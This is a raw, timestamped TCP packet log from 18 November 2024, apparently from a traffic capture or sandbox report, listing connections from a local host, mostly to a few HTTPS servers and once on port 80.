Nov 18, 2024 05:57:59.852636099 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.852663040 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.852714062 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.853117943 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.853183985 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.853189945 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.853209019 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.853223085 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.853247881 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.853261948 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.853269100 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.853281021 CET	60493	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.853283882 CET	443	60493	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.855753899 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.855808020 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.855880022 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.856017113 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.856033087 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.899818897 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.899841070 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.899905920 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.899939060 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.899970055 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.900136948 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.900156975 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.900171041 CET	60494	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.900176048 CET	443	60494	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.902318954 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.902368069 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.902445078 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.902581930 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.902596951 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.935199022 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.935264111 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.935389996 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.935416937 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.935570955 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.935633898 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.942378044 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.942403078 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.942416906 CET	60492	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.942421913 CET	443	60492	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.947520018 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.947566032 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:59.947640896 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.948364019 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:59.948396921 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.124142885 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.124507904 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.124530077 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.124892950 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.124897003 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.134236097 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.135220051 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.135250092 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.135611057 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.135621071 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.265175104 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.265202045 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.265258074 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.265275002 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.265286922 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.265311956 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.265338898 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.265527010 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.265543938 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.265553951 CET	60496	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.265561104 CET	443	60496	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.268083096 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.268106937 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.268167019 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.268326044 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.268335104 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.374840021 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.374871016 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.374891043 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.374921083 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.374938011 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.374963045 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.374986887 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.492296934 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.492367983 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.492407084 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.492428064 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.492451906 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.492472887 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.492558956 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.492609978 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.492791891 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.492811918 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.492822886 CET	60495	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.492827892 CET	443	60495	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.496081114 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.496124029 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.496309042 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.496345997 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.496354103 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.603655100 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.604120016 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.604152918 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.604654074 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.604667902 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.646738052 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.647197008 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.647229910 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.647775888 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.647782087 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.713399887 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.716280937 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.716329098 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.717029095 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.717040062 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.735235929 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.735282898 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.735337019 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.735367060 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.735502005 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.735549927 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.767760038 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.767793894 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.767818928 CET	60497	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.767828941 CET	443	60497	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.773283005 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.773317099 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.773369074 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.773658037 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.773674011 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.781411886 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.781573057 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.781634092 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.781673908 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.781673908 CET	60498	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.781706095 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.781718016 CET	443	60498	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.783945084 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.783978939 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.784054995 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.784209013 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.784221888 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.857613087 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.857743979 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.857814074 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.858045101 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.858072042 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.858091116 CET	60499	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.858098984 CET	443	60499	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.863146067 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.863235950 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.863312006 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.863444090 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:00.863481045 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:00.993830919 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.003653049 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.003660917 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.005809069 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.005812883 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.133033037 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.133111954 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.133183956 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.144288063 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.144313097 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.144366026 CET	60500	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.144371986 CET	443	60500	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.187088013 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.187136889 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.187207937 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.187871933 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.187891006 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.244154930 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.268109083 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.268126011 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.268676996 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.268682003 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.396377087 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.396555901 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.396612883 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.495409966 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.518738985 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.539341927 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.559674025 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.605129957 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.609452963 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.609524965 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.609962940 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.609977007 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.610124111 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.610153913 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.610167980 CET	60501	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.610173941 CET	443	60501	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.737665892 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.737754107 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.737858057 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.812736988 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.812758923 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.813116074 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.813119888 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.921408892 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.939855099 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.939879894 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.939929008 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.939945936 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.939996004 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.946556091 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.946577072 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.947777987 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.947782993 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.947949886 CET	60502	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.947966099 CET	443	60502	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.968281031 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.977485895 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.977485895 CET	60504	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.977555990 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.977590084 CET	443	60504	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.992665052 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.992676973 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:01.993237019 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:01.993242979 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.076503992 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.076595068 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.076741934 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.103449106 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.103462934 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.103475094 CET	60503	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.103480101 CET	443	60503	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.106101036 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.106169939 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.106245041 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.118858099 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.118959904 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.119008064 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.126219988 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.126256943 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.143388987 CET	60505	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.143404961 CET	443	60505	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.864928007 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.865535975 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.865612030 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.866030931 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:02.866045952 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.994096994 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.994587898 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:02.994649887 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:03.027359962 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:03.027359962 CET	60506	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:03.027429104 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:03.027461052 CET	443	60506	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:04.784722090 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:58:05.887044907 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:05.887119055 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:05.887334108 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:05.887547016 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:05.887582064 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:05.892368078 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:05.892405987 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:05.892452002 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:05.892709970 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:05.892729998 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.105010033 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:06.105052948 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:06.105119944 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:06.105401993 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:06.105411053 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:06.636666059 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.637434959 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.639998913 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.640033960 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.640233040 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.640264988 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.641143084 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.641215086 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.641375065 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.641524076 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.642755985 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.642843962 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.643830061 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.643903971 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.644053936 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.644081116 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.644264936 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.644280910 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.675349951 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:06.675386906 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:06.675481081 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:06.676660061 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:06.676681995 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:06.695207119 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.695240974 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.894083023 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.894108057 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.894115925 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.894153118 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.894181013 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.894195080 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.894212961 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.894222975 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:06.894242048 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.894268990 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:06.903028011 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.903047085 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.903053999 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.903080940 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.903090954 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.903101921 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.903225899 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.903225899 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.903261900 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:06.903321981 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:06.955771923 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:06.983700991 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:06.983762980 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:06.984759092 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:06.984827995 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:06.988240957 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:06.988328934 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:07.010030031 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:07.010065079 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:07.010570049 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:07.011128902 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:07.011140108 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:07.013942957 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.013968945 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.014019012 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.014061928 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.014092922 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.014144897 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.023603916 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.023670912 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.023699999 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.023710966 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.023742914 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.023752928 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.023778915 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.038963079 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:07.039021015 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:07.071428061 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.086859941 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:07.133447886 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.133475065 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.133517981 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.133547068 CET	443	60521	13.107.246.45	192.168.2.6
